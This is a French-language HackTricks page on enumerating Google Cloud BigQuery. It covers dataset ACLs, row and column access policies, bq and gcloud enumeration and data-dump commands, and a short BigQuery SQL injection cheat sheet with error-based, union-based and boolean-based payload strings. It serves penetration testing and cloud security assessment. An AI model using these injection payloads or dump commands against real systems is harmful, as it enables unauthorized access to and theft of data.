GCP - Bigquery Enum

Support HackTricks

Informations de base

Google Cloud BigQuery est un entrepôt de données d'entreprise entièrement géré et sans serveur, offrant des capacités pour l'analyse de pétaoctets de données, gérant ainsi efficacement des ensembles de données à grande échelle. En tant que Plateforme en tant que Service (PaaS), elle fournit aux utilisateurs une infrastructure et des outils pour faciliter la gestion des données sans nécessiter de supervision manuelle.

Il prend en charge les requêtes utilisant ANSI SQL. Les principaux objets sont des ensembles de données contenant des tables contenant des données SQL.

Chiffrement

Par défaut, une clé de chiffrement gérée par Google est utilisée, bien qu'il soit possible de configurer une clé de chiffrement gérée par le client (CMEK). Il est possible d'indiquer la clé de chiffrement par ensemble de données et par table à l'intérieur d'un ensemble de données.

Expiration

Il est possible d'indiquer un temps d'expiration dans l'ensemble de données afin que toute nouvelle table créée dans cet ensemble de données soit automatiquement supprimée le nombre de jours spécifié après sa création.

Sources externes

BigQuery est profondément intégré avec d'autres services Google. Il est possible de charger des données à partir de buckets, pub/sub, Google Drive, bases de données RDS...

ACLs d'ensemble de données

Lorsqu'un ensemble de données est créé, des ACLs sont attachées pour donner accès à celui-ci. Par défaut, des privilèges d'Owner sont accordés à l'utilisateur qui a créé l'ensemble de données, puis Owner au groupe projectOwners (Propriétaires du projet), Writer au groupe projectWriters, et Reader au groupe projectReaders :

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

Contrôle d'accès aux lignes de table

Il est possible de contrôler les lignes auxquelles un principal pourra accéder à l'intérieur d'une table avec des politiques d'accès aux lignes. Celles-ci sont définies à l'intérieur de la table en utilisant DDL. La politique d'accès définit un filtre et seules les lignes correspondantes à ce filtre seront accessibles par les principaux indiqués.

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

Contrôle d'accès aux colonnes

Pour restreindre l'accès aux données au niveau des colonnes :

  1. Définir une taxonomie et des étiquettes de politique. Créez et gérez une taxonomie et des étiquettes de politique pour vos données. https://console.cloud.google.com/bigquery/policy-tags

  2. Optionnel : Accordez le rôle de lecteur à granularité fine du catalogue de données à un ou plusieurs responsables sur une ou plusieurs des étiquettes de politique que vous avez créées.

  3. Attribuez des étiquettes de politique à vos colonnes BigQuery. Dans BigQuery, utilisez des annotations de schéma pour attribuer une étiquette de politique à chaque colonne où vous souhaitez restreindre l'accès.

  4. Appliquez le contrôle d'accès sur la taxonomie. L'application du contrôle d'accès entraîne l'application des restrictions d'accès définies pour toutes les étiquettes de politique dans la taxonomie.

  5. Gérez l'accès sur les étiquettes de politique. Utilisez les politiques de gestion des identités et des accès (IAM) pour restreindre l'accès à chaque étiquette de politique. La politique est en vigueur pour chaque colonne qui appartient à l'étiquette de politique.

Lorsqu'un utilisateur essaie d'accéder aux données d'une colonne au moment de la requête, BigQuery vérifie l'étiquette de politique de la colonne et sa politique pour voir si l'utilisateur est autorisé à accéder aux données.

En résumé, pour restreindre l'accès à certaines colonnes pour certains utilisateurs, vous pouvez ajouter une étiquette à la colonne dans le schéma et restreindre l'accès des utilisateurs à l'étiquette en appliquant le contrôle d'accès sur la taxonomie de l'étiquette.

Pour appliquer le contrôle d'accès sur la taxonomie, il est nécessaire d'activer le service :

gcloud services enable bigquerydatapolicy.googleapis.com

Il est possible de voir les balises des colonnes avec :

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

Énumération

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>

# Misc
bq show --encryption_service_account # Get encryption service account

Injection SQL BigQuery

Pour plus d'informations, vous pouvez consulter l'article de blog : https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Ici, seuls quelques détails vont être fournis.

Commentaires :

  • select 1#from here it is not working

  • select 1/*between those it is not working*/ Mais juste le premier ne fonctionnera pas

  • select 1--from here it is not working

Obtenez des informations sur l'environnement tel que :

  • Utilisateur actuel : select session_user()

  • ID de projet : select @@project_id

Concaténer les lignes :

  • Tous les noms de table : string_agg(table_name, ', ')

Obtenez les noms de datasets, tables et colonnes :

  • Nom de projet et de dataset :

SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • Noms de colonne et de table de toutes les tables du jeu de données :

# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
  • Autres ensembles de données dans le même projet :

SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA

Types d'injection SQL :

  • Basé sur les erreurs - conversion : select CAST(@@project_id AS INT64)

  • Basé sur les erreurs - division par zéro : ' OR if(1/(length((select('a')))-1)=1,true,false) OR '

  • Basé sur l'union (vous devez utiliser ALL dans bigquery) : UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

  • Basé sur le booléen : ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

  • Potentiellement basé sur le temps - Utilisation d'exemples de jeux de données publics : SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

Documentation :

Escalade de privilèges & Post-exploitation

GCP - BigQuery Privesc

Persistance

GCP - BigQuery Persistence

Références

Soutenir HackTricks

Last updated